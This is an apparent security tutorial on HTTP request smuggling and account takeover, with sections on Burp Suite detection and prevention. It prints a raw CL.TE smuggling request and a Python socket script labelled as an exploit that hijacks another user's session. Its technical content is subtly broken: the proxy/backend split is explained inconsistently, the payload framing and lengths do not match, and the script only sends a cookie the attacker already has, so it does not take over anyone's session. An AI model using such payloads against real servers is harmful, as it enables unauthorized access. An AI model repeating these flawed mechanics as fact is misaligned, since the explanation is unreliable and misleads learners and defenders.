HTTP Request Smuggling and Account Takeover Attack

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HTTP Request Smuggling and Account Takeover Attack

HTTP Request Smuggling and Account Takeover Attack

HTTP Request Smuggling (HRS) is a security vulnerability arising from the different interpretations of HTTP requests between proxies and backend servers. This attack usually exploits differences in request processing between web proxies and backend servers.

1. What is HTTP Request Smuggling (HRS)?

HTTP Request Smuggling involves a malicious actor manipulating HTTP requests sent from the client to the proxy server or from the proxy to the backend server, causing the server to process these requests incorrectly. By leveraging differences in header interpretation, attackers can "smuggle" requests and exploit inconsistencies between servers.

Core Concept:

The attacker manipulates requests to force the servers to process them differently. These discrepancies allow the attacker to "sneak" some parts of the requests through in the background.

2. Types of HTTP Request Smuggling

HTTP Request Smuggling attacks are typically conducted with the following headers:

  • Content-Length (CL): Indicates the length of the HTTP request body.
  • Transfer-Encoding (TE): Indicates that the request body is sent in "chunked" (chunked) encoding.

If there is a discrepancy between headers, one server processes one header while the other server uses a different header to process the request. These inconsistencies form the basis of HRS attacks.

Two Main Types of HTTP Request Smuggling Attacks:

  • CL.TE (Content-Length and Transfer-Encoding Discrepancy): The proxy server considers the Content-Length header, while the backend server considers the Transfer-Encoding header.
  • TE.CL (Transfer-Encoding and Content-Length Discrepancy): The proxy server considers the Transfer-Encoding header, while the backend server considers the Content-Length header.

3. HTTP Request Smuggling with Account Takeover (ATO)

Account Takeover (ATO) refers to an attack where the attacker steals a user's credentials or session to take over the account. HTTP Request Smuggling can enable this attack because the attacker can manipulate requests to cause the backend server to assume the session of another user.

How Does the Attack Occur?

The attacker sends an HTTP request to the target server:

POST /login HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: example.com

This request is divided into two parts:

  • POST /login request allows the user to log in.
  • The second part contains a hidden GET /admin request, which grants access to the admin panel by the backend server.

Proxy and Backend Server Different Interpretations of Requests:

  • Proxy Server: The proxy processes the request based on the Content-Length header and forwards only the POST /login part to the backend.
  • Backend Server: The backend server processes the Transfer-Encoding header and chunked encoding, accepting the GET /admin request as if it were a legitimate user request.

As a result, the attacker gains unauthorized access to the admin panel.

4. Detecting HTTP Request Smuggling with Burp Suite

To detect HTTP Request Smuggling vulnerabilities, you can use Burp Suite. Burp Suite is an effective tool for analyzing HTTP traffic to identify such vulnerabilities.

Step 1: Proxy Setup and Request Interception

  • Configure Burp Suite Proxy: Route your browser traffic through Burp Suite proxy.
  • Enable Intercept: Capture HTTP requests while logging into the target website with Burp Suite.

Step 2: Examine HTTP Requests

Analyze the captured HTTP requests in Burp Suite. Check for cases where Content-Length and Transfer-Encoding headers are used together.

Step 3: Testing with Repeater Tool

Use Burp Suite's Repeater tool to resend requests and test the attack by modifying headers.

Step 4: Automated Scanning

Burp Suite Pro: In Burp Suite Pro, use the Active Scanner tool to automatically detect HTTP Request Smuggling vulnerabilities.

5. Exploit: Account Takeover with HRS

The following Python script can be used to perform an attack exploiting the HTTP Request Smuggling vulnerability:

import socket

# Connect to the target server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target-server.com", 80))

# HTTP Request Smuggling payload
payload = """POST / HTTP/1.1
Host: target-server.com
Content-Length: 10
Transfer-Encoding: chunked

0

GET /user-account HTTP/1.1
Host: target-server.com
Cookie: sessionid=valid-session-cookie
"""

# Send the payload
s.send(payload.encode())

# Receive and print the response
response = s.recv(4096)
print(response.decode())

# Close the connection
s.close()

This script performs an HTTP Request Smuggling attack to hijack another user's session on the target server.

6. Prevention Methods for HTTP Request Smuggling

  • Avoid using both Content-Length and Transfer-Encoding headers simultaneously.
  • Ensure consistency between proxy and backend servers. Ensure that servers process HTTP headers in the same way.
  • Apply updates: Apply the latest security patches for web servers, proxy servers, and firewalls.
  • Perform regular scans: Conduct regular security tests on your web application using tools like Burp Suite.

This article explains in detail how HTTP Request Smuggling and account takeover attacks are carried out and how these vulnerabilities can be detected and mitigated. You should perform regular tests and keep up with updates to ensure the security of your web application.

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